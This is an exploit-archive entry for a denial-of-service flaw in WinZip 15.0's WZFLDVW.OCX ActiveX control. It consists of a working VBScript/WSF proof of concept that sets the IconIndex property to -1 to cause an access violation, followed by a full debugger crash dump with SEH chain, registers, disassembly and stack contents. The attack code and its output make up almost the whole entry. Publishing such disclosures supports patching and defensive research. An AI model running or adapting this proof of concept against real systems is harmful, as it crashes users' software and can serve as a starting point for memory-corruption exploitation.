Winzip 15.0 WZFLDVW.OCX IconIndex Property Denial of Service

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Winzip 15.0 WZFLDVW.OCX IconIndex Property Denial of Service
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# Exploit Title: Winzip WZFLDVW.OCX IconIndex property access violation
# Author: fady mohamed osman
# Software Link : http://www.winzip.com/downwz.htm
# Version:  15.0 (Build 9334)
# Tested on: Win XP Sp2
# CVE : N/A
 
# Website : http://www.darkmasters.co.cc/
# Twitter : http://twitter.com/Fady_Osman
 
 
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:4E3770F4-1937-4F05-B9A2-959BE7321909' id='target' />
<script language='vbscript'>
 
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = "C:\Program Files\WinZip\WZFLDVW.OCX"
prototype  = "Invoke_Unknown IconIndex As Long"
memberName = "IconIndex"
progid     = "FolderViewControl.TreeNode"
argCount   = 1
 
arg1=-1
 
target.IconIndex = arg1
 
</script></job></package>
 
Exception Code: ACCESS_VIOLATION
Disasm: 1643C53 PUSH DWORD PTR [ESI+20]
 
Seh Chain:
--------------------------------------------------
1   180B82F     wzfldvw.ocx
2   180B8F0     wzfldvw.ocx
3   73351571    VBSCRIPT.dll
4   73350F38    VBSCRIPT.dll
5   73351DA5    VBSCRIPT.dll
6   7335119D    VBSCRIPT.dll
7   7C8399F3    KERNEL32.dll
 
 
Called From                   Returns To                   
--------------------------------------------------
wzfldvw.1643C53               wzfldvw.1631423              
wzfldvw.1631423               wzfldvw.1666F8C              
wzfldvw.1666F8C               wzfldvw.16434A0              
wzfldvw.16434A0               VBSCRIPT.73313A78            
VBSCRIPT.73313A78             VBSCRIPT.733139F6            
VBSCRIPT.733139F6             VBSCRIPT.73304B01            
VBSCRIPT.73304B01             VBSCRIPT.73306959            
VBSCRIPT.73306959             VBSCRIPT.73301E55            
VBSCRIPT.73301E55             VBSCRIPT.73303A76            
VBSCRIPT.73303A76             VBSCRIPT.7330BE2A            
VBSCRIPT.7330BE2A             VBSCRIPT.7330BEB9            
VBSCRIPT.7330BEB9             SCROBJ.5CE4915E              
SCROBJ.5CE4915E               SCROBJ.5CE4CF9C              
SCROBJ.5CE4CF9C               SCROBJ.5CE4D0E2              
SCROBJ.5CE4D0E2               SCROBJ.5CE4B106              
SCROBJ.5CE4B106               SCROBJ.5CE4B49F              
SCROBJ.5CE4B49F               100BB36                      
100BB36                       1005EFE                      
1005EFE                       1005215                      
1005215                       100492B                      
100492B                       1004A89                      
1004A89                       1003C7B                      
1003C7B                       KERNEL32.7C816D4F            
 
 
Registers:
--------------------------------------------------
EIP 01643C53
EAX BAADF00D
EBX 00000000
ECX BAADF00D
EDX 01642B94 -> 18EBD88B
EDI 00000008
ESI BAADF00D
EBP 0013EB1C -> 0013EB5C
ESP 0013EAF0 -> 00AE75F0
 
 
Block Disassembly:
--------------------------------------------------
1643C48 MOV EDI,EDI
1643C4A PUSH EBP
1643C4B MOV EBP,ESP
1643C4D SUB ESP,28
1643C50 PUSH ESI
1643C51 MOV ESI,ECX
1643C53 PUSH DWORD PTR [ESI+20]   <--- CRASH
1643C56 CALL [182C978]
1643C5C TEST EAX,EAX
1643C5E JNZ SHORT 01643C65
1643C60 CALL 01635391
1643C65 MOV EAX,[EBP+8]
1643C68 TEST EAX,EAX
1643C6A JE SHORT 01643C60
1643C6C MOV [EBP-24],EAX
 
 
ArgDump:
--------------------------------------------------
EBP+8   BAADF00D
EBP+12  0013EB60 -> 01666F8C
EBP+16  00000022
EBP+20  BAADF00D
EBP+24  FFFFFFFF
EBP+28  0164299B -> 8B0020C2
 
 
Stack Dump:
--------------------------------------------------
13EAF0 F0 75 AE 00 0E 28 64 01 80 EB 13 00 28 ED 13 00  [.u....d.........]
13EB00 00 00 00 00 9B 29 64 01 DE 98 66 5E 08 00 00 00  [......d...f^....]
13EB10 60 EB 13 00 00 00 00 00 BA 75 91 7C 5C EB 13 00  [`........u..\...]
13EB20 23 14 63 01 0D F0 AD BA 60 EB 13 00 22 00 00 00  [..c.....`.......]
13EB30 0D F0 AD BA FF FF FF FF 9B 29 64 01 57 2B 64 01  [..........d.W.d.]
 
 
 
ApiLog
--------------------------------------------------
 
***** Installing Hooks *****
7c826cab     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c826cab     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)



#  0day.today [2018-01-11]  #